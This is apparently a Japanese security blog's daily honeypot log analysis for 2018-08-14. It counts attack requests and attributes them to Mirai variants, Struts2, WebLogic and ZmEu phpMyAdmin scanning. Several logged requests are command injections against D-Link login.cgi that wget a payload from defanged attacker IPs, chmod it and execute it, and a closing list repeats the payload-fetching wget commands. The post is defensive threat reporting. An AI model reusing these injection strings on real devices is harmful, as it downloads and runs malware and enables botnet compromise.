S-Owl

S(ecurity)Owl

トップ > honeypot > ハニーポットのログ分析（2018/08/14）

ハニーポットのログ分析（2018/08/14）

honeypot

WOWhoneypotの2018/08/14(火)(運用72日目)の簡易分析です。
本日の総アクセス件数は 62件です。以下が全アクセスログです。

29 2018-08-14 GET /
8 2018-08-14 GET /index.action
6 2018-08-14 GET /login.cgi?cli=aa%20aa%27;wget%20hxxp://212.237.32[.]62/k%20-O%20-%3E%20/tmp/ks;chmod%20777%20/tmp/ks;sh%20/tmp/ks%27$
2 2018-08-14 GET /w00tw00t.at.blackhats.romanian.anti-sec:)
2 2018-08-14 GET /pma/scripts/setup.php
2 2018-08-14 GET /phpMyAdmin/scripts/setup.php
2 2018-08-14 GET /phpmyadmin/scripts/setup.php
2 2018-08-14 GET /MyAdmin/scripts/setup.php
2 2018-08-14 GET /myadmin/scripts/setup.php
2 2018-08-14 GET /login.cgi?cli=aa%20aa%27;wget%20hxxp://80.211.67[.]245/k%20-O%20/tmp/ks;chmod%20777%20/tmp/ks;sh%20/tmp/ks%27$
1 2018-08-14 PROPFIND /
1 2018-08-14 POST /wls-wsat/CoordinatorPortType
1 2018-08-14 GET /sitemap.xml
1 2018-08-14 GET /robots.txt
1 2018-08-14 GET /favicon.ico

phpMyAdmin関連(10件)と/を除外したアクセス数です。

8 2018-08-14 GET /index.action
6 2018-08-14 GET /login.cgi?cli=aa%20aa%27;wget%20hxxp://212.237.32[.]62/k%20-O%20-%3E%20/tmp/ks;chmod%20777%20/tmp/ks;sh%20/tmp/ks%27$
2 2018-08-14 GET /w00tw00t.at.blackhats.romanian.anti-sec:)
2 2018-08-14 GET /login.cgi?cli=aa%20aa%27;wget%20hxxp://80.211.67[.]245/k%20-O%20/tmp/ks;chmod%20777%20/tmp/ks;sh%20/tmp/ks%27$
1 2018-08-14 POST /wls-wsat/CoordinatorPortType
1 2018-08-14 GET /sitemap.xml
1 2018-08-14 GET /robots.txt
1 2018-08-14 GET /favicon.ico 

 上から順に
・Struts2の脆弱性を狙った攻撃
・D-Linkの脆弱性を狙ったMirai亜種LMAO/2.0の攻撃
・脆弱性スキャンツールZmEuを使ったphpMyAdminの調査行為
・D-Linkの脆弱性を狙ったMirai亜種Gemini/2.0の攻撃
・Oracle Weblogicの脆弱性を狙った攻撃
・サイトの構造を調査する攻撃 (×3種)

です。

Struts2を攻撃するペイロードは hxxp://222.186.153.142:26591/nodebase でした。
Weblogicを攻撃するペイロードは hxxp://121.17.28[.]15/images/test/DL.phpでした。

 

本日のハンティングログは以下です。Mirai亜種、Mirai亜種、Struts2です。

6 2018-08-14 wget hxxp://212.237.32[.]62/k
2 2018-08-14 wget hxxp://80.211.67[.]245/k
1 2018-08-14 wget hxxp://222.186.153[.]142:26591/nodebase 

 

以上です。